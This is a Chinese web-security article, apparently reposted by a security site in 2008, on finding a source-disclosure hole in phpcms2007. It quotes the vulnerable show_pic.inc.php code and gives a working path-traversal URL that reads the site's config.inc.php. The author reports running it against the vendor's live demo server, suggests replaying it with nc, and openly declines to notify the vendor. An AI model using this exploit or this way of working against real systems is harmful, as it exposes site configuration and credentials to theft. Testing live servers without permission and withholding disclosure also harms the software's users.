| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 网络安全首页 | 信道安全 | 设备安全 | 协议安全 | Web安全 |
php源代码泄露漏洞发掘
一次简单的php源代码泄露漏洞发掘
作者:未知 文章来源:互联网 点击数: 更新时间:2008-4-14 11:32:06

    我们知道在asp中出现得最多的还是sql注入,不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义,所以即使有很多时候存在sql注入也无法利用。但是php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣,我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿

  这次我发掘的是phpcms2007的源代码泄露漏洞

  再次向Phpcms2007的开源行为致敬!!

  开始吧,

  findstr /s /n /i readfile *.php >readfile.txt (结果我只给出有用的)

  其他的文件操作函数可以自己定义查找

  module\picture\show_pic.inc.php:8:readfile($file);

  跟进这个文件看看吧,呵呵,比较小,我喜欢

  [Copy to clipboard] [ - ]CODE:

  defined('IN_PHPCMS') or exit('Access Denied');

  require PHPCMS_ROOT.'/module/'.$mod.'/include/common.inc.php';

  isset($src) or exit;

  $file = PHPCMS_ROOT.'/'.$PHPCMS['uploaddir'].'/'.$CHA['channeldir'].'/'.$MOD['upload_dir'].'/'.$src;

  if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.'/images/error.jpg';

  header("Content-type:image/pjpeg");

  readfile($file);

  ?>

  一路分析下。。。

  先包含文件/module/'.$mod.'/include/common.inc.php

  如果存在变量$src则赋予它路径并把值交给变量$file

  然后就是就进入if

  这里我不看其他的文件简单猜测下应该是判断url路径来源,也就是防盗链的功能

  然后就header()一个图片头

  呵呵,轻轻松松就readfile($file);

  可以看出它没有判断$src的文件类型,如果我们提交一个src=*.php也会被readfile

  好吧,在这里漏洞是出现了

  不过由于“defined('IN_PHPCMS') or exit('Access Denied');”,所以我们是无法直接利用这个漏洞文件的

  只能是在其他包含这个文件的php文件中利用

  继续吧

  [Copy to clipboard] [ - ]CODE:

  findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt

  picture\show_pic.php:4:require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";

  进去看看

  [Copy to clipboard] [ - ]CODE:

  require "./config.inc.php";

  require "../include/common.inc.php";

  require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";

  ?>

  呵呵,要是register_globals为on的话就可以直接利用这个文件读取目标文件了

  那就测试吧

  官方是演示站是

  [Copy to clipboard] [ - ]CODE:

  http://demo.phpcms.cn/

  那就这样构造url

  [Copy to clipboard] [ - ]CODE:

  /picture/show_pic.php?src=/../../../config.inc.php

  嘿嘿,读取的就是网站的配置文件

  直接访问

  [Copy to clipboard] [ - ]CODE:

  http://demo.phpcms.cn//picture/show_pic.php?src=/../../../config.inc.php

  呵呵,猜测没错!!

  那我们可以先访问http://demo.phpcms.cn/抓包

  用nc发包

  get选项就设置为

  [Copy to clipboard] [ - ]CODE:

  /picture/show_pic.php?src=/../../../config.inc.php

  这里我就用刺猬的一个post提交工具代替了

  测试结果如图

  ok,就分析到这里了

  希望大家不要利用这个做违法的事,嘿嘿!!

  偶是坏孩子,不通知官方了~·好孩子去通知下。

文章录入:小张    责任编辑:小张 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    PHP Security-Shell RFI
    PHP 内存管理器溢出漏洞
    PunBB口令安全限制漏洞
    RealPlay10.5溢出漏洞补
    最新SMSJ Version 8.0漏
    sablog 1.6 多个跨站漏洞
    通过防火墙堵住VPN安全漏
    ShopEx PHP远程漏洞
    php访问access的方法
    学会检查SQL注入式攻击漏
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有